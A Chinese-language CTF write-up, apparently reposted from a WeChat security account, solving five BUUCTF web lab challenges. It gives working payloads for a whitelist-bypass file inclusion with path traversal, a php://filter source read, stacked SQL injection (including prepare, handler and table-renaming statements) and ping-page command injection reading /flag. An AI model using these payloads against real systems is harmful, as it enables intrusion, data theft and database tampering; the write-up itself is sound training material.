1、[HCTF 2018]WarmUp
打开题目创建靶场环境
打开网站显示如下
查看其源码发现注释中有一个source.php
查看该文件显示出了一段php的代码,如下
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
}
?>
可以看到应该还存在一个hint.php文件,访问显示如下
意思就是flag在ffffllllaaaagggg文件中,又因为刚才的代码中看着像是存在文件包含,因此就要开始进行代码分析看能不能包含到ffffllllaaaagggg文件并读取flag了。
代码定义了一个静态函数checkFile,形参为$page的引用。入口点在下面的if判断,当if的三个条件(参数不为空、字符串类型、checkFile函数)返回ture时,则文件包含传进来的参数否则就输出一个图片。
先看最下面的一段代码
if (! empty($_REQUEST['file']) //file参数是否存在
&& is_string($_REQUEST['file']) //file参数是否为字符型
&& emmm::checkFile($_REQUEST['file']) //checkFile函数的返回是否为true
) {
include $_REQUEST['file']; //if的条件为真的话就可以包含file参数的文件
exit;
} else {
echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
}
了解了主要的函数功能,那么就再继续看看checkFile函数的主要功能
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)//page形参来自Request($file)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//对传入的file参数定义了一个白名单,列表里只有source.php和hint.php
if (! isset($page) || !is_string($page)) {
echo "you cant see it";
return false;
}//参数为空或者非字符串则错误
if (in_array($page, $whitelist)) {
return true;
}//判断page是否在白名单上面,在的话返回就true
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')//在$page后面还拼接了一个?之后的字符串中,查找?出现的位置
);//分割字符串,从第0位开始分割至拼接的?,比如?file=123213?dwqwe,在这里得到的page=123213
if (in_array($_page, $whitelist)) {
return true;
}//验证上述分割的字符串在白名单内
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you cant see it";
return false;
}
}//url解码后和上面的操作一样取?前的内容再判断一次,防止被url编码绕过
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];//文件包含,这里有重头戏
exit;
} else {
echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
}
?>
重点函数介绍
in_array()可以判断一个值是否在数组中,数组内匹配指定值
mb_substr()从字符串内返回指定值(substr()只针对英文字符,如果需要分割中文字符则需要mb_substr()),左闭右开比如mb_substr(0,2)得到0,1位字符
mb_strpos()返回某字符在数组中首次出现的位置
这里checkFile函数要返回true就要过三次检验:
1、判断page是否在白名单上面,在的话返回就true
2、检查截取后的page是否在白名单上面
3、url解码后第二次检查截取后的page是否在白名单上面
因此如下构造payload
file=hint.php%253F/../../../../ffffllllaaaagggg
hint.php是为了使得字符串第一次检验在白名单上
%253f是?的两次url编码的结果,因为在检验中进行了一次url解码
这里有一个知识点:双重编码,比如你将?双重编码的话,经过包含时你包含的文件会被当成一个目录。
php得到响应,将hint.php?看作文件夹路径,如果识别不存在,就会读取后面的/../../../../ffffllllaaaagggg
TIPS:
这道题出得不是很严谨,因为就算不对?进行url编码两次也是可以绕过的。因为如果file的参数值为hint.php?/../../../../ffffllllaaaagggg时,page的参数值也为hint.php?/../../../../ffffllllaaaagggg。第一次检验肯定是返回true的,第二次拼接?之后变成hint.php?/../../../../ffffllllaaaagggg?。经过截取就变成了hint.php,这个肯定是可以过检测的。最后将hint.php进行url解码得到的仍是hint.php,并且进行上一次同样的操作后还是变成了hint.php,也是返回true。
2、[极客大挑战 2019]Havefun
打开题目创建靶场环境
打开网站显示如下
查看源代码发现思路
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
意思就是定义了一个cat的变量,并且将get方式的cat参数的值赋给它。如果cat变量的值等于'dog'的话,就会输出Syc{cat_cat_cat_cat}。
3、[ACTF2020 新生赛]Include
打开题目创建靶场环境
打开网站显示如下
这里有一个可点击的tips链接,打开如下
从url链接来看,file参数这个点应该就是存在文件包含的地方。这里既然直接访问flag.php没有显示更多的内容,那么应该就是被注释掉了,那么考虑使用php伪协议来读取其内容。
?file=php://filter/read=convert.base64-encode/resource=flag.php
base64解码即可得到flag
4、[强网杯 2019]随便注
打开题目创建靶场环境
打开链接显示如下
点击提交后页面变化如下
可以看到我们提交的数据1出现在了url的参数inject中,又联系到题目是跟注入相关的,那么就开始测试注入
先用--+对后面的语句进行注释
通过上面的验证,我们可以知道这里确实存在sql注入漏洞,并且传递的参数是被单引号包裹
从上面可以看到,这里过滤了一些字符,导致我们不能用联合查找的方式进行注入,所以我们换一个思路,看一看是否可以进行堆叠注入
堆注成因:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
mysqli_multi_query 可以执行一个或多个查询语句
http://609d28fb-2b2c-4752-864c-27b39294bd81.node4.buuoj.cn:81/?inject=1'; show databases; --+
可以看到查询出所有数据库了,接着查表,因为select被过滤了,所以先show查看所有的表
http://609d28fb-2b2c-4752-864c-27b39294bd81.node4.buuoj.cn:81/?inject=1'; show tables; --+
查完表名就要查列名了,在这里可以看到数字的这张表里有flag
http://609d28fb-2b2c-4752-864c-27b39294bd81.node4.buuoj.cn:81/?inject=1'; show columns from `1919810931114514`; --+ //注意这里表示表的时候要用反引号包裹起来,反勾号` 主要用于数据库、表、索引、列和别名用的
但是select被过滤了,我们无法得到flag的值。那么换一个思路绕过select进行查询。
解法1:采用预编译语句
在预编译语句中
set //用来设置变量以及变量的值 set @swz=concat('se','lect flag from 1919810931114514;');
prepare //预备语句,并为它设置名称 prepare cx from @swz;
execute //执行语句 execute cx;
http://609d28fb-2b2c-4752-864c-27b39294bd81.node4.buuoj.cn:81/?inject=1'; Set @swz=concat('se','lect flag from `1919810931114514`;');prepare cx from @swz;execute cx;--+ //这里不知道为什么set是全小写就不行
另一种写法
http://609d28fb-2b2c-4752-864c-27b39294bd81.node4.buuoj.cn:81/?inject=1';prepare swz from concat('s','elect','* from `1919810931114514`');execute swz; --+ //别名不能用`sql`
解法2:用handler代替select语句进行查询
handler语句不具备select语句的所有功能。handler是mysql专用的语句,没有包含到SQL标准中。它每次只能查询1次记录,而select可以根据需要返回多条查询结果。
简单使用handler进行查询的语法:
首先需要先打开一个表:hander table_name open; (专业点应该是打开句柄)
然后使用:handler table_name read frist;查询第一个数据
之后使用:handler table_name read next;查询之后的数据。直到最后一个数据返回空结果。
最后要记得关闭句柄:handler table_name close;
这里构造的payload如下
http://609d28fb-2b2c-4752-864c-27b39294bd81.node4.buuoj.cn:81/?inject=1'; handler `1919810931114514` open as `a`; handler `a` read next; --+ //这里的`a`只是一个别名,为了方便
解法3:更换调用数据库
因为这里有两张表,回显内容肯定是从word这张表中回显的,那我们怎么才能让它回显flag所在的表呢?通过 rename先把 words 表改名为其他的表名。再把 1919810931114514 表的名字改为 words 。其次给新 words 表添加新的列名 id 并将 flag列名 改名为 data 。这样我们在正常使用页面功能时调用的就不是以前的那个表而是以前数字的那个表中的数据了。这里先验证一下words表中是否是id列和data列
然后就开始构造payload进行表名列名的更改
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
运行成功之后flag对应的id就变成1了,因此现在来查看1的内容就是flag的值了
知识点总结
在过滤了 select 和 where 的情况下,还可以使用 show 来爆出数据库名,表名,和列名。
show datebases; //数据库。
show tables; //表名。
show columns from table; //字段。
alter
作用:修改已知表的列。( 添加:add | 修改:alter,change | 撤销:drop )
添加一个列
alter table " table_name" add " column_name" type;
删除一个列
alter table " table_name" drop " column_name" type;
改变列的数据类型
alter table " table_name" alter column " column_name" type;
改列名
alter table " table_name" change " column1" " column2" type;
alter table "table_name" rename "column1" to "column2";
primary key //指定主键
auto_increment //自动赋值,默认从1开始
mysql中点引号'和反勾号`的区别:
linux下不区分,windows下区分
区别:
单引号( ' )或双引号主要用于字符串的引用符号
eg:mysql> SELECT 'hello', "hello" ;
反勾号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
eg:`mysql>SELECT * FROM `table` WHERE `from` = 'abc' ;
5、[ACTF2020 新生赛]Exec
打开题目创建靶场环境
打开链接页面显示如下,看起开是一个具有ping功能的页面
随便输入一个127.0.0.1试试
可以看到返回了ping的结果,猜测是post提交了一个参数值,然后后台调用了执行系统命令的函数。那么我们就要想办法绕过前面的ping命令并执行我们想要执行的命令。这里就要涉及到命令的拼接执行了。
whindows环境:
1、commandA | commandB
管道符,A命令的标准输出,作为B命令的标准输入
不管A成功还是失败,两着都会执行,但只输出B的结果
2、commandA & commandB
先输出命令A,然后输出命令B
A、B都会执行并输出
3、commandA || commandB
先执行命令A,如果失败则再执行命令B;如果A成功,就不执行B
4、commandA && commandB
如果命令A成功执行,则执行命令B,并输出;如果命令A没有执行成功,就不会执行命令B
Linux环境:
1、a;b型拼接,不管a命令是否成功,b命令都会执行。命令依次执行
2、a&&b型拼接,只有a命令执行成功才会执行b命令
3、a||b型拼接,不管a是否成功,都执行b
4、a|b 同windows的一样,管道符
既然了解了命令执行的相关拼接知识,那么这道题我们想要执行我们自己的命令并输出就有4种方法。
第一种
ping 127.0.0.1 | ls
可以看到确实是只显示输出了ls
命令的结果
第二种
ping 127.0.0.1 & ls
可以看到两个命令的结果都输出了
第三种
aaa || ls
可以看到前面ping aaa
命令错误了,但是仍然执行了ls
命令
第四种
ping 127.0.0.1 && ls //这里存在一点问题,因为这里是linux的主机,先执行ping的话会一直执行下去,所以看不到ls的结果
ping 127.0.0.1 -c 4 && ls //使用-c可以指定ping几次,所以这里ping完4次之后就会执行ls命令
知道怎么绕过执行命令了,那么就找一下flag
ping 127.0.0.1 | ls /
直接读取flag
ping 127.0.0.1 | cat /flag
原文始发于微信公众号(守卫者安全):BUUCTF之web解题记录(二)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论